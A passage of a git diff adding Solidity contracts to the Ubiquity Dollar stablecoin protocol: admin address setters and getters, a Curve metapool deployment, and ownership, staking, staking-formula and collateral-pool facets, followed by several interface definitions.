@notice Sets Curve's Dollar-Stablecoin plain pool address + * @dev `_stableSwapPlainPoolAddress` is used to fetch Dollar price in USD + * @param _stableSwapPlainPoolAddress Curve's Dollar-Stablecoin plain pool address + */ + function setStableSwapPlainPoolAddress( + address _stableSwapPlainPoolAddress + ) external onlyAdmin { + store.stableSwapPlainPoolAddress = _stableSwapPlainPoolAddress; + } + + /** + * @notice Sets staking contract address + * @dev Staking contract participants deposit Curve LP tokens + * for a certain duration to earn Governance tokens and more Curve LP tokens + * @param _stakingContractAddress Staking contract address + */ + function setStakingContractAddress( + address _stakingContractAddress + ) external onlyAdmin { + store.stakingContractAddress = _stakingContractAddress; + } + + /** + * @notice Sets bonding curve address used for UbiquiStick minting + * @param _bondingCurveAddress Bonding curve address + */ + function setBondingCurveAddress( + address _bondingCurveAddress + ) external onlyAdmin { + store.bondingCurveAddress = _bondingCurveAddress; + } + + /** + * @notice Sets bancor formula address + * @dev Implied to be used for UbiquiStick minting + * @param _bancorFormulaAddress Bancor formula address + */ + function setBancorFormulaAddress( + address _bancorFormulaAddress + ) external onlyAdmin { + store.bancorFormulaAddress = _bancorFormulaAddress; + } + + /** + * @notice Sets treasury address + * @dev Treasury fund is used to maintain the protocol + * @param _treasuryAddress Treasury address + */ + function setTreasuryAddress(address _treasuryAddress) external onlyAdmin { + store.treasuryAddress = _treasuryAddress; + } + + /** + * @notice Sets incentive contract `_incentiveAddress` for `_account` address + * @param _account Address for which to set an incentive contract + * @param _incentiveAddress Incentive contract address + */ + function setIncentiveToDollar( + address _account, + address _incentiveAddress + ) external onlyAdmin { + IUbiquityDollarToken dollar = IUbiquityDollarToken( + store.dollarTokenAddress + ); + dollar.setIncentiveContract(_account, _incentiveAddress); + } + + /** + * @notice Deploys Curve MetaPool [Stablecoin, 3CRV LP] + * @dev From the curve documentation for uncollateralized algorithmic + * stablecoins amplification should be 5-10 + * @param _curveFactory Curve MetaPool factory address + * @param _crvBasePool Base pool address for MetaPool + * @param _crv3PoolTokenAddress Curve TriPool address + * @param _amplificationCoefficient Amplification coefficient. The smaller + * it is the closer to a constant product we are. + * @param _fee Trade fee, given as an integer with 1e10 precision + */ + function deployStableSwapPool( + address _curveFactory, + address _crvBasePool, + address _crv3PoolTokenAddress, + uint256 _amplificationCoefficient, + uint256 _fee + ) external onlyAdmin { + // Create new StableSwap meta pool (Dollar <-> 3Crv) + // slither-disable-next-line reentrancy-no-eth + address metaPool = ICurveFactory(_curveFactory).deploy_metapool( + _crvBasePool, + ERC20(store.dollarTokenAddress).name(), + ERC20(store.dollarTokenAddress).symbol(), + store.dollarTokenAddress, + _amplificationCoefficient, + _fee + ); + store.stableSwapMetaPoolAddress = metaPool; + // Approve the newly-deployed meta pool to transfer this contract's funds + uint256 crv3PoolTokenAmount = IERC20(_crv3PoolTokenAddress).balanceOf( + address(this) + ); + uint256 dollarTokenAmount = IERC20(store.dollarTokenAddress).balanceOf( + address(this) + ); + // safe approve revert if approve from non-zero to non-zero allowance + IERC20(_crv3PoolTokenAddress).approve(metaPool, 0); + IERC20(_crv3PoolTokenAddress).approve(metaPool, crv3PoolTokenAmount); + + IERC20(store.dollarTokenAddress).approve(metaPool, 0); + IERC20(store.dollarTokenAddress).approve(metaPool, dollarTokenAmount); + + // coin at index 0 is Dollar and index 1 is 3CRV + require( + ICurveStableSwapMetaNG(metaPool).coins(0) == + store.dollarTokenAddress && + ICurveStableSwapMetaNG(metaPool).coins(1) == + _crv3PoolTokenAddress, + "MGR: COIN_ORDER_MISMATCH" + ); + // Add the initial liquidity to the StableSwap meta pool + uint256[2] memory amounts = [ + IERC20(store.dollarTokenAddress).balanceOf(address(this)), + IERC20(_crv3PoolTokenAddress).balanceOf(address(this)) + ]; + // set curve 3Pool address + store.curve3PoolTokenAddress = _crv3PoolTokenAddress; + ICurveStableSwapMetaNG(metaPool).add_liquidity(amounts, 0, msg.sender); + } + + /** + * @notice Returns Curve TWAP oracle address + * @return Curve TWAP oracle address + */ + function twapOracleAddress() external view returns (address) { + return address(this); + } + + /** + * @notice Returns Dollar token address + * @return Dollar token address + */ + function dollarTokenAddress() external view returns (address) { + return store.dollarTokenAddress; + } + + /** + * @notice Returns UbiquiStick address + * @return UbiquiStick address + */ + function ubiquiStickAddress() external view returns (address) { + return store.ubiquiStickAddress; + } + + /** + * @notice Returns Credit token address + * @return Credit token address + */ + function creditTokenAddress() external view returns (address) { + return store.creditTokenAddress; + } + + /** + * @notice Returns Credit NFT address + * @return Credit NFT address + */ + function creditNftAddress() external view returns (address) { + return store.creditNftAddress; + } + + /** + * @notice Returns Governance token address + * @return Governance token address + */ + function governanceTokenAddress() external view returns (address) { + return store.governanceTokenAddress; + } + + /** + * @notice Returns Sushi swap pool address for Dollar-Governance pair + * @return Pool address + */ + function sushiSwapPoolAddress() external view returns (address) { + return store.sushiSwapPoolAddress; + } + + /** + * @notice Returns Credit redemption calculator address + * @return Credit redemption calculator address + */ + function creditCalculatorAddress() external view returns (address) { + return address(this); + } + + /** + * @notice Returns Credit NFT redemption calculator address + * @return Credit NFT redemption calculator address + */ + function creditNftCalculatorAddress() external view returns (address) { + return address(this); + } + + /** + * @notice Returns Dollar mint calculator address + * @return Dollar mint calculator address + */ + function dollarMintCalculatorAddress() external view returns (address) { + return store.dollarMintCalculatorAddress; + } + + /** + * @notice Returns Dollar distributor address + * @param _creditNftManagerAddress Credit NFT manager address + * @return Dollar distributor address + */ + function excessDollarsDistributor( + address _creditNftManagerAddress + ) external view returns (address) { + return store._excessDollarDistributors[_creditNftManagerAddress]; + } + + /** + * @notice Returns MasterChef address + * @return MasterChef address + */ + function masterChefAddress() external view returns (address) { + return store.masterChefAddress; + } + + /** + * @notice Returns formulas address + * @return Formulas address + */ + function formulasAddress() external view returns (address) { + return store.formulasAddress; + } + + /** + * @notice Returns staking share address + * @return Staking share address + */ + function stakingShareAddress() external view returns (address) { + return store.stakingShareAddress; + } + + /** + * @notice Returns Curve MetaPool address for Dollar-3CRV LP pair + * @return Curve MetaPool address + */ + function stableSwapMetaPoolAddress() external view returns (address) { + return store.stableSwapMetaPoolAddress; + } + + /** + * @notice Returns Curve's plain pool address for Dollar-Stablecoin pair + * @return Curve's plain pool address for Dollar-Stablecoin pair + */ + function stableSwapPlainPoolAddress() external view returns (address) { + return store.stableSwapPlainPoolAddress; + } + + /** + * @notice Returns staking address + * @return Staking address + */ + function stakingContractAddress() external view returns (address) { + return store.stakingContractAddress; + } + + /** + * @notice Returns bonding curve address used for UbiquiStick minting + * @return Bonding curve address + */ + function bondingCurveAddress() external view returns (address) { + return store.bondingCurveAddress; + } + + /** + * @notice Returns Bancor formula address + * @dev Implied to be used for UbiquiStick minting + * @return Bancor formula address + */ + function bancorFormulaAddress() external view returns (address) { + return store.bancorFormulaAddress; + } + + /** + * @notice Returns treasury address + * @return Treasury address + */ + function treasuryAddress() external view returns (address) { + return store.treasuryAddress; + } + + /** + * @notice Returns Curve TriPool 3CRV LP token address + * @return Curve TriPool 3CRV LP token address + */ + function curve3PoolTokenAddress() external view returns (address) { + return store.curve3PoolTokenAddress; + } +} diff --git a/packages/contracts/src/dollar/facets/OwnershipFacet.sol b/packages/contracts/src/dollar/facets/OwnershipFacet.sol new file mode 100644 index 000000000..f41d47dc9 --- /dev/null +++ b/packages/contracts/src/dollar/facets/OwnershipFacet.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibDiamond} from "../libraries/LibDiamond.sol"; +import {IERC173} from "../interfaces/IERC173.sol"; + +/// @notice Used for managing contract's owner +contract OwnershipFacet is IERC173 { + /// @inheritdoc IERC173 + function transferOwnership(address _newOwner) external override { + require( + (_newOwner != address(0)), + "OwnershipFacet: New owner cannot be the zero address" + ); + LibDiamond.enforceIsContractOwner(); + LibDiamond.setContractOwner(_newOwner); + } + + /// @inheritdoc IERC173 + function owner() external view override returns (address owner_) { + owner_ = LibDiamond.contractOwner(); + } +} diff --git a/packages/contracts/src/dollar/facets/StakingFacet.sol b/packages/contracts/src/dollar/facets/StakingFacet.sol new file mode 100644 index 000000000..fd154893e --- /dev/null +++ b/packages/contracts/src/dollar/facets/StakingFacet.sol @@ -0,0 +1,140 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibStaking} from "../libraries/LibStaking.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; + +import {IStaking} from "../../dollar/interfaces/IStaking.sol"; + +/// @notice Staking facet +contract StakingFacet is Modifiers, IStaking { + /** + * @notice Removes Ubiquity Dollar unilaterally from the curve LP share sitting inside + * the staking contract and sends the Ubiquity Dollar received to the treasury. This will + * have the immediate effect of pushing the Ubiquity Dollar price HIGHER + * @notice It will remove one coin only from the curve LP share sitting in the staking contract + * @param amount Amount of LP token to be removed for Ubiquity Dollar + */ + function dollarPriceReset(uint256 amount) external onlyStakingManager { + LibStaking.dollarPriceReset(amount); + } + + /** + * @notice Remove 3CRV unilaterally from the curve LP share sitting inside + * the staking contract and send the 3CRV received to the treasury. This will + * have the immediate effect of pushing the Ubiquity Dollar price LOWER. + * @notice It will remove one coin only from the curve LP share sitting in the staking contract + * @param amount Amount of LP token to be removed for 3CRV tokens + */ + function crvPriceReset(uint256 amount) external onlyStakingManager { + LibStaking.crvPriceReset(amount); + } + + /** + * @notice Sets staking discount multiplier + * @param _stakingDiscountMultiplier New staking discount multiplier + */ + function setStakingDiscountMultiplier( + uint256 _stakingDiscountMultiplier + ) external onlyStakingManager { + LibStaking.setStakingDiscountMultiplier(_stakingDiscountMultiplier); + } + + /** + * @notice Returns staking discount multiplier + * @return Staking discount multiplier + */ + function stakingDiscountMultiplier() external view returns (uint256) { + return LibStaking.stakingDiscountMultiplier(); + } + + /** + * @notice Returns number of blocks in a week + * @return Number of blocks in a week + */ + function blockCountInAWeek() external view returns (uint256) { + return LibStaking.blockCountInAWeek(); + } + + /** + * @notice Sets number of blocks in a week + * @param _blockCountInAWeek Number of blocks in a week + */ + function setBlockCountInAWeek( + uint256 _blockCountInAWeek + ) external onlyStakingManager { + LibStaking.setBlockCountInAWeek(_blockCountInAWeek); + } + + /** + * @notice Deposits UbiquityDollar-3CRV LP tokens for a duration to receive staking shares + * @notice Weeks act as a multiplier for the amount of staking shares to be received + * @param _lpsAmount Amount of LP tokens to send + * @param _weeks Number of weeks during which LP tokens will be held + * @return _id Staking share id + */ + function deposit( + uint256 _lpsAmount, + uint256 _weeks + ) external whenNotPaused returns (uint256 _id) { + return LibStaking.deposit(_lpsAmount, _weeks); + } + + /** + * @notice Adds an amount of UbiquityDollar-3CRV LP tokens + * @notice Staking shares are ERC1155 (aka NFT) because they have an expiration date + * @param _amount Amount of LP token to deposit + * @param _id Staking share id + * @param _weeks Number of weeks during which LP tokens will be held + */ + function addLiquidity( + uint256 _amount, + uint256 _id, + uint256 _weeks + ) external whenNotPaused { + LibStaking.addLiquidity(_amount, _id, _weeks); + } + + /** + * @notice Removes an amount of UbiquityDollar-3CRV LP tokens + * @notice Staking shares are ERC1155 (aka NFT) because they have an expiration date + * @param _amount Amount of LP token deposited when `_id` was created to be withdrawn + * @param _id Staking share id + */ + function removeLiquidity( + uint256 _amount, + uint256 _id + ) external whenNotPaused { + LibStaking.removeLiquidity(_amount, _id); + } + + /** + * @notice View function to see pending LP rewards on frontend + * @param _id Staking share id + * @return Amount of LP rewards + */ + function pendingLpRewards(uint256 _id) external view returns (uint256) { + return LibStaking.pendingLpRewards(_id); + } + + /** + * @notice Returns the amount of LP token rewards an amount of shares entitled + * @param amount Amount of staking shares + * @param lpRewardDebt Amount of LP rewards that have already been distributed + * @return pendingLpReward Amount of pending LP rewards + */ + function lpRewardForShares( + uint256 amount, + uint256 lpRewardDebt + ) external view returns (uint256 pendingLpReward) { + return LibStaking.lpRewardForShares(amount, lpRewardDebt); + } + + /** + * @notice Returns current share price + * @return priceShare Share price + */ + function currentShareValue() external view returns (uint256 priceShare) { + priceShare = LibStaking.currentShareValue(); + } +} diff --git a/packages/contracts/src/dollar/facets/StakingFormulasFacet.sol b/packages/contracts/src/dollar/facets/StakingFormulasFacet.sol new file mode 100644 index 000000000..8fc25672f --- /dev/null +++ b/packages/contracts/src/dollar/facets/StakingFormulasFacet.sol @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibStakingFormulas} from "../libraries/LibStakingFormulas.sol"; +import {StakingShare} from "../core/StakingShare.sol"; +import "../interfaces/IUbiquityFormulas.sol"; + +/// @notice Contract facet staking formulas +contract StakingFormulasFacet is IUbiquityFormulas { + /** + * @notice Formula of governance rights corresponding to a staking shares LP amount + * @notice Used on removing liquidity from staking + * @notice `shares = (stake.shares * _amount) / stake.lpAmount` + * @param _stake Stake info of staking share + * @param _shareInfo Array of share amounts + * @param _amount Amount of LP tokens + * @return _uLP Amount of shares + */ + function sharesForLP( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) external pure returns (uint256 _uLP) { + return LibStakingFormulas.sharesForLP(_stake, _shareInfo, _amount); + } + + /** + * @notice Formula may add a decreasing rewards if locking end is near when removing liquidity + * @notice `rewards = _amount` + * @param _stake Stake info of staking share + * @param _shareInfo Array of share amounts + * @param _amount Amount of LP tokens + * @return Amount of LP rewards + */ + function lpRewardsRemoveLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) external pure returns (uint256) { + return + LibStakingFormulas.lpRewardsRemoveLiquidityNormalization( + _stake, + _shareInfo, + _amount + ); + } + + /** + * @notice Formula may add a decreasing rewards if locking end is near when adding liquidity + * @notice `rewards = _amount` + * @param _stake Stake info of staking share + * @param _shareInfo Array of share amounts + * @param _amount Amount of LP tokens + * @return Amount of LP rewards + */ + function lpRewardsAddLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) external pure returns (uint256) { + return + LibStakingFormulas.lpRewardsAddLiquidityNormalization( + _stake, + _shareInfo, + _amount + ); + } + + /** + * @notice Formula to calculate the corrected amount to withdraw based on the proportion of + * LP deposited against actual LP tokens in the staking contract + * @notice `corrected_amount = amount * (stakingLpBalance / totalLpDeposited)` + * @notice If there is more or the same amount of LP than deposited then do nothing + * @param _totalLpDeposited Total amount of LP deposited by users + * @param _stakingLpBalance Actual staking contract LP tokens balance minus LP rewards + * @param _amount Amount of LP tokens + * @return Amount of LP tokens to redeem + */ + function correctedAmountToWithdraw( + uint256 _totalLpDeposited, + uint256 _stakingLpBalance, + uint256 _amount + ) external pure returns (uint256) { + return + LibStakingFormulas.correctedAmountToWithdraw( + _totalLpDeposited, + _stakingLpBalance, + _amount + ); + } + + /** + * @notice Formula duration multiply + * @notice `_shares = (1 + _multiplier * _weeks^3/2) * _uLP` + * @notice `D32 = D^3/2` + * @notice `S = m * D32 * A + A` + * @param _uLP Amount of LP tokens + * @param _weeks Minimum duration of staking period + * @param _multiplier Staking discount multiplier = 0.0001 + * @return _shares Amount of shares + */ + function durationMultiply( + uint256 _uLP, + uint256 _weeks, + uint256 _multiplier + ) external pure returns (uint256 _shares) { + return LibStakingFormulas.durationMultiply(_uLP, _weeks, _multiplier); + } +} diff --git a/packages/contracts/src/dollar/facets/UbiquityPoolFacet.sol b/packages/contracts/src/dollar/facets/UbiquityPoolFacet.sol new file mode 100644 index 000000000..b80320bc1 --- /dev/null +++ b/packages/contracts/src/dollar/facets/UbiquityPoolFacet.sol @@ -0,0 +1,328 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +pragma solidity 0.8.19; + +import {IUbiquityPool} from "../interfaces/IUbiquityPool.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; +import {LibUbiquityPool} from "../libraries/LibUbiquityPool.sol"; + +/** + * @notice Ubiquity pool facet + * @notice Allows users to: + * - deposit collateral in exchange for Ubiquity Dollars + * - redeem Ubiquity Dollars in exchange for the earlier provided collateral + */ +contract UbiquityPoolFacet is IUbiquityPool, Modifiers { + //===================== + // Views + //===================== + + /// @inheritdoc IUbiquityPool + function allCollaterals() external view returns (address[] memory) { + return LibUbiquityPool.allCollaterals(); + } + + /// @inheritdoc IUbiquityPool + function collateralInformation( + address collateralAddress + ) + external + view + returns (LibUbiquityPool.CollateralInformation memory returnData) + { + return LibUbiquityPool.collateralInformation(collateralAddress); + } + + /// @inheritdoc IUbiquityPool + function collateralRatio() external view returns (uint256) { + return LibUbiquityPool.collateralRatio(); + } + + /// @inheritdoc IUbiquityPool + function collateralUsdBalance() + external + view + returns (uint256 balanceTally) + { + return LibUbiquityPool.collateralUsdBalance(); + } + + /// @inheritdoc IUbiquityPool + function ethUsdPriceFeedInformation() + external + view + returns (address, uint256) + { + return LibUbiquityPool.ethUsdPriceFeedInformation(); + } + + /// @inheritdoc IUbiquityPool + function freeCollateralBalance( + uint256 collateralIndex + ) external view returns (uint256) { + return LibUbiquityPool.freeCollateralBalance(collateralIndex); + } + + /// @inheritdoc IUbiquityPool + function getDollarInCollateral( + uint256 collateralIndex, + uint256 dollarAmount + ) external view returns (uint256) { + return + LibUbiquityPool.getDollarInCollateral( + collateralIndex, + dollarAmount + ); + } + + /// @inheritdoc IUbiquityPool + function getDollarPriceUsd() + external + view + returns (uint256 dollarPriceUsd) + { + return LibUbiquityPool.getDollarPriceUsd(); + } + + /// @inheritdoc IUbiquityPool + function getGovernancePriceUsd() + external + view + returns (uint256 governancePriceUsd) + { + return LibUbiquityPool.getGovernancePriceUsd(); + } + + /// @inheritdoc IUbiquityPool + function getRedeemCollateralBalance( + address userAddress, + uint256 collateralIndex + ) external view returns (uint256) { + return + LibUbiquityPool.getRedeemCollateralBalance( + userAddress, + collateralIndex + ); + } + + /// @inheritdoc IUbiquityPool + function getRedeemGovernanceBalance( + address userAddress + ) external view returns (uint256) { + return LibUbiquityPool.getRedeemGovernanceBalance(userAddress); + } + + /// @inheritdoc IUbiquityPool + function governanceEthPoolAddress() external view returns (address) { + return LibUbiquityPool.governanceEthPoolAddress(); + } + + /// @inheritdoc IUbiquityPool + function stableUsdPriceFeedInformation() + external + view + returns (address, uint256) + { + return LibUbiquityPool.stableUsdPriceFeedInformation(); + } + + //==================== + // Public functions + //==================== + + /// @inheritdoc IUbiquityPool + function mintDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 dollarOutMin, + uint256 maxCollateralIn, + uint256 maxGovernanceIn, + bool isOneToOne + ) + external + nonReentrant + returns ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ) + { + return + LibUbiquityPool.mintDollar( + collateralIndex, + dollarAmount, + dollarOutMin, + maxCollateralIn, + maxGovernanceIn, + isOneToOne + ); + } + + /// @inheritdoc IUbiquityPool + function redeemDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 governanceOutMin, + uint256 collateralOutMin + ) + external + nonReentrant + returns (uint256 collateralOut, uint256 governanceOut) + { + return + LibUbiquityPool.redeemDollar( + collateralIndex, + dollarAmount, + governanceOutMin, + collateralOutMin + ); + } + + /// @inheritdoc IUbiquityPool + function collectRedemption( + uint256 collateralIndex + ) + external + nonReentrant + returns (uint256 governanceAmount, uint256 collateralAmount) + { + return LibUbiquityPool.collectRedemption(collateralIndex); + } + + /// @inheritdoc IUbiquityPool + function updateChainLinkCollateralPrice(uint256 collateralIndex) external { + LibUbiquityPool.updateChainLinkCollateralPrice(collateralIndex); + } + + //========================= + // AMO minters functions + //========================= + + /// @inheritdoc IUbiquityPool + function amoMinterBorrow(uint256 collateralAmount) external { + LibUbiquityPool.amoMinterBorrow(collateralAmount); + } + + //======================== + // Restricted functions + //======================== + + /// @inheritdoc IUbiquityPool + function addAmoMinter(address amoMinterAddress) external onlyAdmin { + LibUbiquityPool.addAmoMinter(amoMinterAddress); + } + + /// @inheritdoc IUbiquityPool + function addCollateralToken( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 poolCeiling + ) external onlyAdmin { + LibUbiquityPool.addCollateralToken( + collateralAddress, + chainLinkPriceFeedAddress, + poolCeiling + ); + } + + /// @inheritdoc IUbiquityPool + function removeAmoMinter(address amoMinterAddress) external onlyAdmin { + LibUbiquityPool.removeAmoMinter(amoMinterAddress); + } + + /// @inheritdoc IUbiquityPool + function setCollateralChainLinkPriceFeed( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 stalenessThreshold + ) external onlyAdmin { + LibUbiquityPool.setCollateralChainLinkPriceFeed( + collateralAddress, + chainLinkPriceFeedAddress, + stalenessThreshold + ); + } + + /// @inheritdoc IUbiquityPool + function setCollateralRatio(uint256 newCollateralRatio) external onlyAdmin { + LibUbiquityPool.setCollateralRatio(newCollateralRatio); + } + + /// @inheritdoc IUbiquityPool + function setEthUsdChainLinkPriceFeed( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ) external onlyAdmin { + LibUbiquityPool.setEthUsdChainLinkPriceFeed( + newPriceFeedAddress, + newStalenessThreshold + ); + } + + /// @inheritdoc IUbiquityPool + function setFees( + uint256 collateralIndex, + uint256 newMintFee, + uint256 newRedeemFee + ) external onlyAdmin { + LibUbiquityPool.setFees(collateralIndex, newMintFee, newRedeemFee); + } + + /// @inheritdoc IUbiquityPool + function setGovernanceEthPoolAddress( + address newGovernanceEthPoolAddress + ) external onlyAdmin { + LibUbiquityPool.setGovernanceEthPoolAddress( + newGovernanceEthPoolAddress + ); + } + + /// @inheritdoc IUbiquityPool + function setPoolCeiling( + uint256 collateralIndex, + uint256 newCeiling + ) external onlyAdmin { + LibUbiquityPool.setPoolCeiling(collateralIndex, newCeiling); + } + + /// @inheritdoc IUbiquityPool + function setPriceThresholds( + uint256 newMintPriceThreshold, + uint256 newRedeemPriceThreshold + ) external onlyAdmin { + LibUbiquityPool.setPriceThresholds( + newMintPriceThreshold, + newRedeemPriceThreshold + ); + } + + /// @inheritdoc IUbiquityPool + function setRedemptionDelayBlocks( + uint256 newRedemptionDelayBlocks + ) external onlyAdmin { + LibUbiquityPool.setRedemptionDelayBlocks(newRedemptionDelayBlocks); + } + + /// @inheritdoc IUbiquityPool + function setStableUsdChainLinkPriceFeed( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ) external onlyAdmin { + LibUbiquityPool.setStableUsdChainLinkPriceFeed( + newPriceFeedAddress, + newStalenessThreshold + ); + } + + /// @inheritdoc IUbiquityPool + function toggleCollateral(uint256 collateralIndex) external onlyAdmin { + LibUbiquityPool.toggleCollateral(collateralIndex); + } + + /// @inheritdoc IUbiquityPool + function toggleMintRedeemBorrow( + uint256 collateralIndex, + uint8 toggleIndex + ) external onlyAdmin { + LibUbiquityPool.toggleMintRedeemBorrow(collateralIndex, toggleIndex); + } +} diff --git a/packages/contracts/src/dollar/interfaces/IAccessControl.sol b/packages/contracts/src/dollar/interfaces/IAccessControl.sol new file mode 100644 index 000000000..1ee285f28 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IAccessControl.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +/// @notice Access contol interface +interface IAccessControl { + /** + * @notice Checks whether role is assigned to account + * @param role Role to check + * @param account Address to check + * @return Whether role is assigned to account + */ + function hasRole( + bytes32 role, + address account + ) external view returns (bool); + + /** + * @notice Returns admin role for a given role + * @param role Role to query + * @return Admin role for a provided role + */ + function getRoleAdmin(bytes32 role) external view returns (bytes32); + + /** + * @notice Sets admin role for a given role + * @param role Role to set + * @param adminRole Admin role to set for a provided role + */ + function setRoleAdmin(bytes32 role, bytes32 adminRole) external; + + /** + * @notice Assigns role to a given account + * @param role Role to assign + * @param account Recipient address of role assignment + */ + function grantRole(bytes32 role, address account) external; + + /** + * @notice Unassign role from a given account + * @param role Role to unassign + * @param account Address from which the provided role should be unassigned + */ + function revokeRole(bytes32 role, address account) external; + + /** + * @notice Renounce role + * @param role Role to renounce + */ + function renounceRole(bytes32 role) external; +} diff --git a/packages/contracts/src/dollar/interfaces/IBondingCurve.sol b/packages/contracts/src/dollar/interfaces/IBondingCurve.sol new file mode 100644 index 000000000..40dfaf9bd --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IBondingCurve.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.16; + +/** + * @notice Interface based on Bancor formula + * @notice Inspired from Bancor protocol https://github.com/bancorprotocol/contracts + * @notice Used on UbiquiStick NFT minting + */ +interface IBondingCurve { + /** + * @notice Sets bonding curve params + * @param _connectorWeight Connector weight + * @param _baseY Base Y + */ + function setParams(uint32 _connectorWeight, uint256 _baseY) external; + + /** + * @notice Returns `connectorWeight` value + * @return Connector weight value + */ + function connectorWeight() external returns (uint32); + + /** + * @notice Returns `baseY` value + * @return Base Y value + */ + function baseY() external returns (uint256); + + /** + * @notice Returns total balance of deposited collateral + * @return Amount of deposited collateral + */ + function poolBalance() external returns (uint256); + + /** + * @notice Deposits collateral tokens in exchange for UbiquiStick NFT + * @param _collateralDeposited Amount of collateral + * @param _recipient Address to receive the NFT + */ + function deposit(uint256 _collateralDeposited, address _recipient) external; + + /** + * @notice Withdraws collateral tokens to treasury + * @param _amount Amount of collateral tokens to withdraw + */ + function withdraw(uint256 _amount) external; +} diff --git a/packages/contracts/src/dollar/interfaces/ICreditNft.sol b/packages/contracts/src/dollar/interfaces/ICreditNft.sol new file mode 100644 index 000000000..f0af96f3a --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICreditNft.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; + +/// @notice CreditNft interface +interface ICreditNft is IERC1155Upgradeable { + /** + * @notice Updates debt according to current block number + * @notice Invalidates expired CreditNfts + * @dev Should be called prior to any state changing functions + */ + function updateTotalDebt() external; + + /** + * @notice Burns an `amount` of CreditNfts expiring at `expiryBlockNumber` from `creditNftOwner` balance + * @param creditNftOwner Owner of those CreditNfts + * @param amount Amount of tokens to burn + * @param expiryBlockNumber Expiration block number of the CreditNfts to burn + */ + function burnCreditNft( + address creditNftOwner, + uint256 amount, + uint256 expiryBlockNumber + ) external; + + /** + * @notice Mint an `amount` of CreditNfts expiring at `expiryBlockNumber` for a certain `recipient` + * @param recipient Address where to mint tokens + * @param amount Amount of tokens to mint + * @param expiryBlockNumber Expiration block number of the CreditNfts to mint + */ + function mintCreditNft( + address recipient, + uint256 amount, + uint256 expiryBlockNumber + ) external; + + /// @notice Returns outstanding debt by fetching current tally and removing any expired debt + function getTotalOutstandingDebt() external view returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/ICreditNftManager.sol b/packages/contracts/src/dollar/interfaces/ICreditNftManager.sol new file mode 100644 index 000000000..62b94c4c6 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICreditNftManager.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; + +/** + * @notice Interface for basic credit issuing and redemption mechanism for Credit NFT and Credit holders + * @notice Allows users to burn their Dollars in exchange for Credit NFTs or Credits redeemable in the future + * @notice Allows users to: + * - redeem individual Credit NFT or batch redeem Credit NFT on a first-come first-serve basis + * - redeem Credits for Dollars + * @dev Implements `IERC1155Receiver` so that it can deal with redemptions + */ +interface ICreditNftManager is IERC1155Receiver { + /** + * @notice Burns Credit NFTs for Dollars when Dollar price > 1$ + * @param id Credit NFT expiry block number + * @param amount Amount of Credit NFTs to burn + * @return Amount of unredeemed Credit NFTs + */ + function redeemCreditNft( + uint256 id, + uint256 amount + ) external returns (uint); + + /** + * @notice Burns Dollars in exchange for Credit NFTs + * @notice Should only be called when Dollar price < 1$ + * @param amount Amount of Dollars to exchange for Credit NFTs + * @return Expiry block number when Credit NFTs can no longer be redeemed for Dollars + */ + function exchangeDollarsForCreditNft( + uint256 amount + ) external returns (uint); +} diff --git a/packages/contracts/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol b/packages/contracts/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol new file mode 100644 index 000000000..026bbc330 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; + +/** + * @notice Contract interface for calculating amount of Credit NFTs to mint on Dollars burn + * @notice Users can burn their Dollars in exchange for Credit NFTs which are minted with a premium. + * Premium is calculated with the following formula: `1 / ((1 - R) ^ 2) - 1` where `R` represents Credit NFT + * total oustanding debt divived by Dollar total supply. When users burn Dollars and mint Credit NFTs then + * total oustading debt of Credit NFT is increased. On the contrary, when Credit NFTs are burned then + * Credit NFT total oustanding debt is decreased. + * + * @notice Example: + * 1. Dollar total supply: 10_000, Credit NFT total oustanding debt: 100, User burns: 200 Dollars + * 2. When user burns 200 Dollars then `200 + 200 * (1 / ((1 - (100 / 10_000)) ^ 2) - 1) = ~204.06` Credit NFTs are minted + * + * @notice Example: + * 1. Dollar total supply: 10_000, Credit NFT total oustanding debt: 9_000, User burns: 200 Dollars + * 2. When user burns 200 Dollars then `200 + 200 * (1 / ((1 - (9_000 / 10_000)) ^ 2) - 1) = 20_000` Credit NFTs are minted + * + * @notice So the more Credit NFT oustanding debt (i.e. Credit NFT total supply) the more premium applied for minting Credit NFTs + * + * @dev 1 Credit NFT = 1 whole Ubiquity Dollar, not 1 wei + */ +interface ICreditNftRedemptionCalculator { + /** + * @notice Returns Credit NFT amount minted for `dollarsToBurn` amount of Dollars to burn + * @param dollarsToBurn Amount of Dollars to burn 